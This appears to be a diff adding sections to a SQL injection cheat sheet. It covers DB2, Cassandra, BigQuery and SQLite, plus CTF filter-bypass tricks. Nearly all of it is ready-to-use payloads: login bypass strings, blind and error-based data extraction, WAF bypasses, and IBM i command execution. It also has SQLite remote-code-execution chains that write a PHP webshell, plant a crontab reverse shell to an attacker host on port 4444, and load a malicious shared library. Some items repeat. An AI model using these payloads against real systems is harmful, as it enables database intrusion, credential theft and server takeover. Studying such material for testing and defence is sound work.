+
### No-column-name Injection
|
|
366
|
+
```sql
|
|
367
|
+
-- When column names are unknown:
|
|
368
|
+
SELECT `3` FROM (SELECT 1,2,3 UNION SELECT * FROM target_table)a LIMIT 1,1
|
|
369
|
+
-- Backtick number refers to positional column
|
|
370
|
+
```
|
|
371
|
+
|
|
372
|
+
### Double-write Bypass
|
|
373
|
+
```sql
|
|
374
|
+
-- When keywords are removed once:
|
|
375
|
+
uunionnion sselectelect 1,2,3 ffromrom target
|
|
376
|
+
-- After removal: union select 1,2,3 from target
|
|
377
|
+
```
|
|
378
|
+
|
|
379
|
+
### group_concat Alternative
|
|
380
|
+
```sql
|
|
381
|
+
-- When group_concat is filtered, use GROUP BY with error:
|
|
382
|
+
SELECT COUNT(*), CONCAT((SELECT database()), FLOOR(RAND()*2)) x FROM information_schema.tables GROUP BY x
|
|
383
|
+
```
|
|
384
|
+
|
|
385
|
+
---
|
|
386
|
+
|
|
387
|
+
## 14. DB2 Injection Specifics
|
|
388
|
+
|
|
389
|
+
DB2 uses different system catalogs and has unique capabilities:
|
|
390
|
+
|
|
391
|
+
```sql
|
|
392
|
+
-- Version detection
|
|
393
|
+
SELECT versionnumber, version_timestamp FROM sysibm.sysversions
|
|
394
|
+
|
|
395
|
+
-- Current user
|
|
396
|
+
SELECT user FROM sysibm.sysdummy1
|
|
397
|
+
|
|
398
|
+
-- Schema enumeration
|
|
399
|
+
SELECT schemaname FROM syscat.schemata
|
|
400
|
+
SELECT name, tbname FROM sysibm.syscolumns WHERE tbname='USERS'
|
|
401
|
+
|
|
402
|
+
-- Blind injection
|
|
403
|
+
SELECT CASE WHEN (1=1) THEN 'a' ELSE 'b' END FROM sysibm.sysdummy1
|
|
404
|
+
-- Character extraction:
|
|
405
|
+
SELECT ascii(substr(user,1,1)) FROM sysibm.sysdummy1
|
|
406
|
+
|
|
407
|
+
-- Time-based (Cartesian product amplification)
|
|
408
|
+
SELECT count(*) FROM sysibm.columns t1, sysibm.columns t2, sysibm.columns t3
|
|
409
|
+
|
|
410
|
+
-- Command execution (IBM i / AS/400)
|
|
411
|
+
CALL QSYS2.QCMDEXC('COMMAND_STRING')
|
|
412
|
+
|
|
413
|
+
-- WAF bypass: concatenate without quotes
|
|
414
|
+
chr(65)||chr(68)||chr(77)||chr(73)||chr(78)
|
|
415
|
+
```
|
|
416
|
+
|
|
417
|
+
---
|
|
418
|
+
|
|
419
|
+
## 15. Cassandra (CQL) Injection Specifics
|
|
420
|
+
|
|
421
|
+
Cassandra Query Language has severe limitations compared to SQL:
|
|
422
|
+
|
|
423
|
+
```
|
|
424
|
+
-- Key differences from SQL:
|
|
425
|
+
-- * No JOIN, no UNION, no subqueries
|
|
426
|
+
-- * No OR operator in WHERE clause
|
|
427
|
+
-- * No SLEEP() or time-delay functions
|
|
428
|
+
-- * No built-in USER() function
|
|
429
|
+
-- * Comments: /* ... */ only
|
|
430
|
+
|
|
431
|
+
-- Login bypass:
|
|
432
|
+
username: admin' ALLOW FILTERING; %00
|
|
433
|
+
-- Multi-line comment bypass:
|
|
434
|
+
username: admin'/*
|
|
435
|
+
password: */and pass>'
|
|
436
|
+
|
|
437
|
+
-- Boolean extraction via IF() in CQL:
|
|
438
|
+
SELECT * FROM users WHERE user='admin' IF EXISTS
|
|
439
|
+
```
|
|
440
|
+
|
|
441
|
+
---
|
|
442
|
+
|
|
443
|
+
## 16. BigQuery Injection Specifics
|
|
444
|
+
|
|
445
|
+
Google BigQuery uses backticks and has unique syntax:
|
|
446
|
+
|
|
447
|
+
```sql
|
|
448
|
+
-- Identification: backtick syntax for identifiers
|
|
449
|
+
SELECT * FROM `project.dataset.table`
|
|
450
|
+
|
|
451
|
+
-- System information
|
|
452
|
+
SELECT @@project_id
|
|
453
|
+
|
|
454
|
+
-- Schema enumeration
|
|
455
|
+
SELECT * FROM `project.dataset.INFORMATION_SCHEMA.SCHEMATA`
|
|
456
|
+
-- Fully qualified: project.dataset.INFORMATION_SCHEMA.TABLES
|
|
457
|
+
|
|
458
|
+
-- Comments: # and /* */
|
|
459
|
+
|
|
460
|
+
-- Error-based (division by zero):
|
|
461
|
+
' OR if(1/(length((select('a')))-1)=1,true,false) OR '
|
|
462
|
+
|
|
463
|
+
-- Boolean-based
|
|
464
|
+
' AND SUBSTRING((SELECT column FROM dataset.table LIMIT 1),1,1)='A
|
|
465
|
+
|
|
466
|
+
-- IMPORTANT: No native SLEEP() function
|
|
467
|
+
-- No time-based blind injection possible with standard functions
|
|
468
|
+
|
|
469
|
+
-- UNION template:
|
|
470
|
+
' UNION ALL SELECT (SELECT @@project_id),2,3--
|
|
471
|
+
```
|
|
472
|
+
|
|
473
|
+
---
|
|
474
|
+
|
|
475
|
+
## 17. SQLite Injection to RCE
|
|
476
|
+
|
|
477
|
+
SQLite has powerful file system interaction capabilities:
|
|
478
|
+
|
|
479
|
+
```sql
|
|
480
|
+
-- Enumeration
|
|
481
|
+
SELECT name FROM sqlite_master WHERE type='table'
|
|
482
|
+
SELECT sql FROM sqlite_master WHERE name='users'
|
|
483
|
+
SELECT * FROM pragma_table_info('users')
|
|
484
|
+
|
|
485
|
+
-- Blind injection
|
|
486
|
+
SELECT CASE WHEN (1=1) THEN 'a' ELSE 'b' END
|
|
487
|
+
-- Hex-based character extraction:
|
|
488
|
+
SELECT hex(substr(password,1,1)) FROM users LIMIT 1
|
|
489
|
+
|
|
490
|
+
-- Error-based
|
|
491
|
+
SELECT CASE WHEN [BOOLEAN] THEN 1 ELSE load_extension(1) END
|
|
492
|
+
|
|
493
|
+
-- Time-based (heavy computation)
|
|
494
|
+
SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
|
|
495
|
+
|
|
496
|
+
-- RCE via ATTACH DATABASE (write webshell)
|
|
497
|
+
ATTACH DATABASE '/var/www/html/shell.php' AS pwn;
|
|
498
|
+
CREATE TABLE pwn.exp (payload TEXT);
|
|
499
|
+
INSERT INTO pwn.exp VALUES ('<?php system($_GET["c"]); ?>');
|
|
500
|
+
|
|
501
|
+
-- RCE via ATTACH DATABASE (write crontab)
|
|
502
|
+
ATTACH DATABASE '/var/spool/cron/crontabs/www-data' AS pwn;
|
|
503
|
+
CREATE TABLE pwn.exp (payload TEXT);
|
|
504
|
+
INSERT INTO pwn.exp VALUES ('* * * * * bash -i >& /dev/tcp/ATTACKER/4444 0>&1');
|
|
505
|
+
|
|
506
|
+
-- RCE via load_extension
|
|
507
|
+
-- Compile shared library with init function, then:
|
|
508
|
+
SELECT load_extension('/tmp/evil.so','init_func');
|
|
509
|
+
-- Windows UNC: SELECT load_extension('\\attacker\share\evil.dll');
|
|
510
|
+
|
|
511
|
+
-- Write file (if enabled)
|
|
512
|
+
SELECT writefile('/var/www/html/shell.php', '<?php system($_GET["c"]); ?>');
|
|
513
|
+
```
|
|
514
|
+
|
|
515
|
+
---
|
|
516
|
+
|
|
517
|
+
## 18. CTF SQL Injection Techniques
|
|
518
|
+
|
|
519
|
+
### handler Bypass (when SELECT is filtered)
|
|
520
|
+
```sql
|
|
521
|
+
-- MySQL-specific alternative to SELECT:
|
|
522
|
+
handler `tablename` open as a;
|
|
523
|
+
handler `a` read next;
|
|
524
|
+
handler `a` close;
|
|
525
|
+
```
|
|
526
|
+
|
|
527
|
+
### prepare + hex (when keywords are filtered)
|
|
528
|
+
```sql
|
|
529
|
+
SET @a=0x73656C65637420757365722C70617373776F72642066726F6D207573657273;
|
|
530
|
+
-- hex of: select user,password from users
|
|
531
|
+
prepare execsql from @a;
|
|
532
|
+
execute execsql;
|
|
533
|
+
```
|
|
534
|
+
|
|
535
|
+
### innodb_table_stats (bypass information_schema filter)
|
|
536
|
+
```sql
|
|
537
|
+
-- When 'information_schema' or 'or' is filtered:
|
|
538
|
+
SELECT table_name FROM mysql.innodb_table_stats WHERE database_name=database()
|
|
539
|
+
```
|
|
540
|
+
|
|
541
|
+
### No-column-name injection
|
|
542
|
+
```sql
|
|
543
|
+
-- When column names are unknown:
|
|
544
|
+
SELECT `1` FROM (SELECT 1,2,3 UNION SELECT * FROM users)a
|
|
545
|
+
-- Backtick numbers correspond to column positions
|
|
546
|
+
```
|
|
547
|
+
|
|
548
|
+
### Double-write bypass
|
|
549
|
+
```sql
|
|
550
|
+
-- When keywords are removed once:
|
|
551
|
+
uunionnion sselectelect ffromrom
|
|
552
|
+
-- After filter removes: union select from
|
|
553
|
+
```
|
|
554
|
+
|
|
555
|
+
### XOR blind injection
|
|
556
|
+
```sql
|
|
557
|
+
-- When most operators are filtered but ^ remains:
|
|
558
|
+
id=1^(ascii(substr((select(flag)from(flag)),1,1))>100)^1
|
|
559
|
+
```
|
|
560
|
+
|
|
561
|
+
### PIPES_AS_CONCAT mode
|
|
562
|
+
```sql
|
|
563
|
+
-- When || is not filtered:
|
|
564
|
+
SET sql_mode=PIPES_AS_CONCAT;
|
|
565
|
+
SELECT 1||flag FROM flag
|
|
566
|
+
-- || acts as string concatenation instead of OR
|
|
567
|
+
```
|
|
568
|
+
|
|
569
|
+
### Rename/Alter table trick
|
|
570
|
+
```sql
|
|
571
|
+
-- Rename flag table to match app's expected query:
|
|
572
|
+
ALTER TABLE flag RENAME TO words;
|
|
573
|
+
ALTER TABLE words ADD COLUMN id INT DEFAULT 1;
|
|
574
|
+
-- App query: SELECT * FROM words WHERE id=1 → returns flag data
|
|
575
|
+
```
|